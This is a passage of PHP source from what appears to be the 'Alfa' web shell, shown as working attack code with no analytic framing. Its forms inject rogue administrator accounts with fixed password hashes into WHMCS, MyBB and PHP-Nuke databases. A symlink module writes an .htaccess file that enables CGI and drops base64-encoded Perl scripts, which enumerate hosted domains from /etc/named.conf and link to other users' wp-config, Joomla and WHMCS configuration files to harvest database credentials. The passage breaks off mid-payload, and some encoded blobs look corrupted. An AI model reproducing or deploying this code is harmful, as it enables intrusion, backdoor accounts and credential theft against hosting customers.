<td><INPUT size="30" value="" name="database" type="text"></td></tr>
<tr><td><font color=#FFFFFF>username : </td>
<td> <INPUT size="30" value="" name="username" type="text"></td></tr>
<tr><td><font color=#FFFFFF>password : </td>
<td> <INPUT size="30" value="" name="password" type="text"></td></tr>
<tr><td><font color=#FF0000>Admin username:</td>
<td><INPUT name="admin" size="30" value="admin"></td></tr>
<tr><td><font color=#FF0000>Admin Password :<font color="#FFFFFF"></td>
<td><INPUT name="toftof" size="30" value="solevisible" disabled/></td></tr>
<tr><td><font color=#FF0000>Admin Email:</td>
<td> <INPUT name="email" size="30" value="[email protected]"></td></tr>
</table>
<INPUT value=">>" name="send" type="submit">
</FORM></center></b>\';
if ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){
$localhost = $_POST[\'alfa2\'];
$database = $_POST[\'alfa3\'];
$username = $_POST[\'alfa4\'];
$password = $_POST[\'alfa5\'];
$admin = $_POST[\'alfa8\'];
$SQL = $_POST[\'alfa9\'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$solevisible=@mysql_query("insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,\'1\',\'".$admin."\',\'d4a590caacc0be55ef286e40a945ea45\',\'".$SQL."\',\'blend\',\'getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|\')") or die(mysql_error());
if($solevisible){
echo "<center><br><b><script>alert(\'Success... ".$admin." is created :)\')</script></b></center> "; }
}
}
if ($_POST[\'alfa7\'] && $_POST[\'alfa7\'] == \'mybb\'){
echo \'<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa8_=alfa9_=alfa10_=""</script>
<b><center><FORM onsubmit="g(\'pwchanger\',null,this.send.value,this.localhost.value,this.database.value,this.username.value,this.password.value,null,\'mybb\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">
<b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">Mybb</font><font color="#FFFF01"> ==</font></b>
<p><table border=1>
<tr><td><font color=#FFFFFF> host :</td>
<td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
<tr><td><font color=#FFFFFF>database: </td>
<td><INPUT size="30" value="" name="database" type="text"></td></tr>
<tr><td><font color=#FFFFFF>Table Prefix :</td>
<td><INPUT size="30" value="" name="prefix" type="text"></td></tr>
<tr><td><font color=#FFFFFF>username : </td>
<td> <INPUT size="30" value="" name="username" type="text"></td></tr>
<tr><td><font color=#FFFFFF>password : </td>
<td> <INPUT size="30" value="" name="password" type="text"></td></tr>
<tr><td><font color=#FF0000>Admin username:</td>
<td><INPUT name="admin" size="30" value="admin"></td></tr>
<tr><td><font color=#FF0000>Admin Password :<font color="#FFFFFF"></td>
<td><INPUT name="toftof" size="30" value="solevisible" disabled/></td></tr>
<tr><td><font color=#FF0000>Admin Email:</td>
<td> <INPUT name="email" size="30" value="[email protected]"></td></tr>
</table>
<INPUT value=">>" name="send" type="submit">
</FORM></center></b>\';
if ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){
$localhost = $_POST[\'alfa2\'];
$database = $_POST[\'alfa3\'];
$username = $_POST[\'alfa4\'];
$password = $_POST[\'alfa5\'];
$admin = $_POST[\'alfa8\'];
$SQL = $_POST[\'alfa9\'];
$prefix = $_POST[\'alfa10\'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$solevisible=@mysql_query("insert into ".$prefix."users (uid,username,password,salt,email,usergroup) values(null,\'".$admin."\',\'e71f2c3265619038d826a1ac6e2b9b8e\',\'ywza68lS\',\'".$SQL."\',\'4\')") or die(mysql_error());
if($solevisible){
echo "<center><br><b><script>alert(\'Success... ".$admin." is created :)\')</script></b></center> "; }
}
}
if ($_POST[\'alfa8\'] && $_POST[\'alfa8\'] == \'nuke\'){
echo \'<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa9_=alfa10_=""</script>
<b><center><FORM onsubmit="g(\'pwchanger\',null,this.send.value,this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'nuke\',this.email.value,this.prefix.value); return false;" method="POST">
<b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">PhpNuke</font><font color="#FFFF01"> ==</font></b>
<p><table border=1>
<tr><td><font color=#FFFFFF> host :</td>
<td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
<tr><td><font color=#FFFFFF>database: </td>
<td><INPUT size="30" value="" name="database" type="text"></td></tr>
<tr><td><font color=#FFFFFF>Table Prefix :</td>
<td><INPUT size="30" value="" name="prefix" type="text"></td></tr>
<tr><td><font color=#FFFFFF>username : </td>
<td> <INPUT size="30" value="" name="username" type="text"></td></tr>
<tr><td><font color=#FFFFFF>password : </td>
<td> <INPUT size="30" value="" name="password" type="text"></td></tr>
<tr><td><font color=#FF0000>Admin username:</td>
<td><INPUT name="admin" size="30" value="admin"></td></tr>
<tr><td><font color=#FF0000>Admin Password :<font color="#FFFFFF"></td>
<td><INPUT name="toftof" size="30" value="solevisible" disabled/></td></tr>
<tr><td><font color=#FF0000>Admin Email:</td>
<td> <INPUT name="email" size="30" value="[email protected]"></td></tr>
</table>
<INPUT value=">>" name="send" type="submit">
</FORM></center></b>\';
if ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){
$localhost = $_POST[\'alfa2\'];
$database = $_POST[\'alfa3\'];
$username = $_POST[\'alfa4\'];
$password = $_POST[\'alfa5\'];
$admin = $_POST[\'alfa7\'];
$SQL = $_POST[\'alfa9\'];
$prefix = $_POST[\'alfa10\'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = md5($pwd);
$solevisible=@mysql_query("insert into ".prefix."_authors(aid,name,email,pwd) values(\'$admin\',\'God\',\'$SQL\',\'d4a590caacc0be55ef286e40a945ea45\')") or die(mysql_error());
if($solevisible){
echo "<center><br><b><script>alert(\'Success... ".$admin." is created :)\')</script></b></center> ";
}
}
}
echo "</div>";
alfafooter();
}
function alfasymlink()
{
alfahead();
$solevisible8 = \'http://\'.$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];
$solevisible55=explode(\'/\',$solevisible8 );
$solevisible8 =str_replace($solevisible55[count($solevisible55)-1],\'\',$solevisible8 );
echo \'<div class=header><script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_="";</script><center><h3><span>| Symlink |</span></h3><center><h3><a href=# onclick="g(\'symlink\',null,\'website\',null)">| Domains(Cpanel) | </a><a href=# onclick="g(\'symlink\',null,null,\'whole\')">| Whole Symlink(Cpanel) | </a><a href=# onclick="g(\'symlink\',null,null,null,null,null,null,\'direct\')">| Whole Symlink(Direct-Admin) | </a><a href=# onclick="g(\'symlink\',null,null,null,\'config\')">| Config Symlink | </a><a href=# onclick="g(\'symlink\',null,null,null,null,\'SymFile\')">| File Symlink | </a><a href=# onclick="g(\'symlink\',null,null,null,null,null,\'cfucker\')">| Config Fucker | </a></h3></center>\';
if(isset($_POST[\'alfa8\']) && $_POST[\'alfa8\']==\'userpl\')
{
mkdir(\'userpl\',0755);
chdir(\'userpl\');
$solevisible7 = \'.htaccess\';
$solevisible6 = "$solevisible7";
$solevisible4 = fopen ($solevisible6 ,\'w\') or die (\'ERROR!!!\');
$solevisible5 = \'Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .alfa
AddHandler cgi-script .alfa
AddHandler cgi-script .alfa\';
fwrite ( $solevisible4 ,$solevisible5 ) ;
fclose ($solevisible4);
$solevisible3 = \'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPi46OlNvbGV2c2libGUgR0VULVVzZXImZG9tYWluIFNoZWxsZXI6Oi48L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCi5uZXdTdHlsZTEgew0KIGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQogZm9udC1mYW1pbHk6ICJDb3VyaWVyIE5ldyIsIENvdXJpZXIsIG1vbm9zcGFjZTsNCiBmb250LXNpemU6IGxhcmdlOw0KIGZvbnQtd2VpZ2h0OiBib2xkOw0KfQ0KDQoNCg0KDQoNCi5zdHlsZTEgew0KIHRleHQtYWxpZ246IGNlbnRlcjsNCiBjb2xvcjojZmZmZmZmOw0KdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJLW1vei10cmFuc2l0aW9uOiBhbGwgMC4zcyBlYXNlLW91dDstby10cmFuc2l0aW9Scyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkuOiBhbGwgMC4zcyBlYXNlLW91dDstd2Via2l0LXRyYW5zaXRpb246IGFsbCAwLjNzIGVhc2Utb3V0O3RyYW5zaXRpb246IGFsbCAwLjNzIGVhc2Utb3V0DQoNCn0NCi5zdHlsZTE6aG92ZXIgew0KIHRleHQtYWxpZ246IGNlbnRlcjsNCiBjb2xvcjojZmYwMDAwOw0KdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQp9DQoNCg0KPC9zdHlsZT4NCjwvaGVhZD4NCg0KPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSI+DQoNCg0KDQonOw0Kb3BlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsNCkBrciA9IDxkMG1haW5zPjsNCmNsb3NlIGQwbWFpbnM7DQppZiAoJGVycil7DQpwcmludCAoJzxwIGNsYXNzPSJzdHlsZTEiPiZuYnNwOzwvcD48cCBjbGFzcz0ic3R5bGUxIj5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQpkaWUoKTsNCn1lbHNlew0KcHJpbnQgJzxwIGNsYXNzPSJzdHlsZTEiPiZuYnNwOzwvcD4NCjxwIGNsYXNzPSJzdHlsZTEiPjxiPjxiaWc+PGZvbnQgY29sb3I9InJlZCI+Q29kZWQgQnkgPC9mb250Pjxmb250IGNvbG9yPSJncmVlbiI+U29sZSBTYWQgJiBJbnZpc2libGU8L2ZvbnQ+PC9iPjwvYmlnPjxicj48YnI+IDxmb250IGNvbG9yPSJyZWQiPjxiPjxiaWc+Q29udGFjdCA6IDwvYj48L2JpZz48L2ZvbnQ+PGZvbnQgY29sb3I9ImdyZWVuIj48Yj48YmlnPnNvbGV2aXNpYmxlQGdtYWlsLmNvbTwvYj48L2JpZz48L2ZvbnQ+PGJyPjxicj48Zm9udCBjb2xvcj0iZ29sZCI+SGVyZSBScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkJcyBBbGwgRG9taW5zICYgVXNlcnMgOjwvZm9udD48L3A+DQonO30NCmZvcmVhY2ggbXkgJG9uZSAoQGtyKQ0Kew0KaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7Lyl7DQokZmlsZW5hbWU9ICIvZXRjL3ZhbGlhc2VzLyIuJDE7DQokb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQpwcmludCAnPHAgY2xhc3M9InN0eWxlMSI+Jy4kMS4nIDogJy4kb3duZXIuJzwvcD4NCic7DQp9DQp9DQpwcmludCc8L2JvZHk+PC9odG1sPic7\';
$solevisible1 = fopen(\'user.alfa\',\'w+\');
$solevisible2 = fwrite ($solevisible1 ,base64_decode($solevisible3));
fclose($solevisible1);
chmod(\'user.alfa\',0755);
echo \'<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><iframe src=userpl/user.alfa width=100% height=600px frameborder=0></iframe> \';
}
if(isset($_POST[\'alfa5\']) && $_POST[\'alfa5\']==\'cfucker\')
{
mkdir(\'alfaconfig\',0755);
chdir(\'alfaconfig\');
$solevisible7 = \'.htaccess\';
$solevisible6 = "$solevisible7";
$solevisible4 = fopen ($solevisible6 ,\'w\') or die (\'ERROR!!!\');
$solevisible5 = \'Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .alfa
AddHandler cgi-script .alfa
AddHandler cgi-script .alfa\';
fwrite ( $solevisible4 ,$solevisible5 ) ;
fclose ($solevisible4);
$solevisible3 = \'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT5Tb2xldmlzaWJsZSBDb25maWcgRnVja2VyPC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQouc29sZXZpc2libGUgew0KICAgIGZvbnQtZmFtaWx5OiBUYWhvbWE7DQogICAgZm9udC1zaXplOiAxNHB4Ow0KICAgIGZvbnQtd2VpZ2h0OiBib2xkOw0KICAgIGNvbG9yOiAjMzMzM2ZmOw0KICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICB0ZXh0LXNoYWRvdzogYmxhY2sgMHB4IDBweCAycHg7DQp9DQojY2hlY2tvdXR0ZXh0YXJlYSB7DQoNCiAgd2Via2l0LWJvcmRlci1yYWRpdXM6IDE1cHg7DQoNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQonOw0Kc3ViIGxpbHsNCiAgICAoJHVzZXIpID0gQF87DQoScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkkbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLXNob3Atb3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb20vaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlcy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLW9zY29tbWVyY2VzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaG9wcGluZy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLXNob3Atc2hvcHBpbmcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2FsZS9pbmNScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCksdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLXNhbGUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5pbmMucGhwJywka29sYS4nLWFtZW1iZXIyLnR4dCcpOw0Kc3ltbGluaygn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VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1wcm90YWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvby50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLWNtcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9Scyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkwdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1zaXRlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLW1haW4udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEtbmV3cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLW5ldy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1ob21lLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictdmIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIzL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictdmIzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictaW5jbHVkZXMtdmIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobTE1LnR4dCcpOw0Kc3lScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCktbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NlbnRyYWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htLWNlbnRyYWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobS13aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vV0hNQ1MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobWMtV0hNLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VwcG9ydC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHAudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2VjdXJlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1Y3VyZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2hScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCktL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1Y3VyZS13aG0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2VjdXJlL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1Y3VyZS13aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlv